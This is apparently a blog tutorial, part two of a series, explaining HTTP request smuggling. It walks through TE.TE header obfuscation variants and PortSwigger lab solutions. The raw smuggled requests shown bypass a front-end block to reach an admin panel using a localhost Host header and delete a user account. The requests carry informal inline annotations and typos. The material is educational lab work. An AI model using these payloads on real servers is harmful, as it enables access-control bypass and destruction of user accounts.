HTTP request smuggling Explained and Exploited Part 0x2

Hashar Mujahid
InfoSec Write-ups
Published in
6 min readOct 20, 2022

--

Hi! My name is Hashar Mujahid, and today we will continue to discuss what HTTP request smuggling vulnerabilities are and how we can exploit them.

Image from Brightsec

If you want to learn what HTTP REQUEST SMUGGLING is, I would recommend reading Part 1 of this series.

Now we will continue where we left off in the previous blog.

TE.TE behavior: obfuscating the TE header.

In this scenario, both the frontend and the backend have the ability to process the Transfer-Encoding: Chunked header, but we will trick one of the sides into not processing the header as it normally would by tempering the header in some way.

Example:

Now we will see some examples of how you can temper with the Transfer-Encoding: Chunked header,

Transfer-Encoding: xchunked  
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked

We can see this by adding x in front of the chunk or extra space in front of the Transfer-Encoding header. We could obfuscate the header.

Each technique will produce different results depending on how it is implemented in the backend; some will work, while others will not.

To detect TE.TE vulnerabilities, we just need to find a variation in the header that one server will ignore and the other will process.

Lab: HTTP request smuggling, obfuscating the TE header

This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server so that the next request processed by the back-end server appears to use the method GPOST.

EXPLOITATION:

Access the lab and capture the request to the burp repeater.

Only GET and POST are ALLOWED

Now uncheck the updated content length in the repeater.

Step 2: Change the request method to "POST."

Step3: Remove the unnecessary headers.

Step4: Change the content length to 4.

Now for the tricky part, we need to add our transfer encoding headers and find a way so that our backend server may process them and the front end will ignore them.

POST / HTTP/1.1
Host: 0ab8008b037606dfc05d2f1700b60097.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-EncodinG: c\] ===> Obsufcated header.
5c ===> repersent the size of chunk in hex == 92 bytes
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 ===> Request that will be smuggled to be part of the next request
x=1
0

Send this request two times and you should receive an error.

These are all introductory attacks. Now we will look into how we can use this vulnerability to execute some high-severity attacks against a web application.

Using HTTP request smuggling to bypass front-end security controls

The security controls can be implemented on both the front end and the back end of the application. Let’s consider a scenario where the application’s front end prevents the user from accessing some directories /admin due to this validation. The developer didn’t put any validation in the backend, so if the attacker is somehow able to bypass the front-end security, the backend will respond to him with the response to the request.

POST /home HTTP/1.1 
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

The front-end server sees two requests here, both for /home, and so the requests are forwarded to the backend server. However, the back-end server sees one request for /home and one request for /admin. It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL.

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability.

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel/admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

SOLUTION:

As we know, the front end doesn't support chunked encoding. So we can try to bypass the front-end security controls by using a CL.TE attack.

Access the lab and send the request to the burp repeater.

Change the request method to POST and remove the excess headers.

Our request should look like this.

Now add our transfer encoding header, which is ignored by the front end but processed by the back end.

Now we need to smuggle our request that will get us to the admin panel.

That means our request format is not correct. Let's tinker with it more.

401
ONLY LOCAL USERS CAN ACCESS THE PANEL

Now we know what causes 401.

We can usually bypass it by adding a host header with a localhost value init.

HOST: localhost

The server detects two host headers and rejects the second request.

GET /admin HTTP/1.1 
Host: localhost ===> 2 host headers are cusing problem
X-Ignore: X
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

Now we need to make our smuggled request a separate one rather than merge it with our second request.

We can do this by adding a new line and a parameter so the 2nd request will be appended to the body of the smuggled request.

Like this

Headers
GET /admin HTTP/1.1
Host: localhost ===> 2 host headers are cusing problem
x=POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
Admin pannel

Now we are able to access the admin panel.

DELETE CARLOS !!!!

0GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
x=

That shows that with only 4 lines of malicious text, we were able to delete another’s account .

This was a hard topic to grasp, even for me.

I hope you have enjoyed reading it as much as I have enjoyed making it.

Do consider following me if you want to learn more about HTTP request smuggling.

Till then, Happy Hacking!

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!

--

--

IBM CSA | Google IT Support | Jr Penetration Tester | Ethical Hacker | THM TOP 1% | Hacker rank On HTB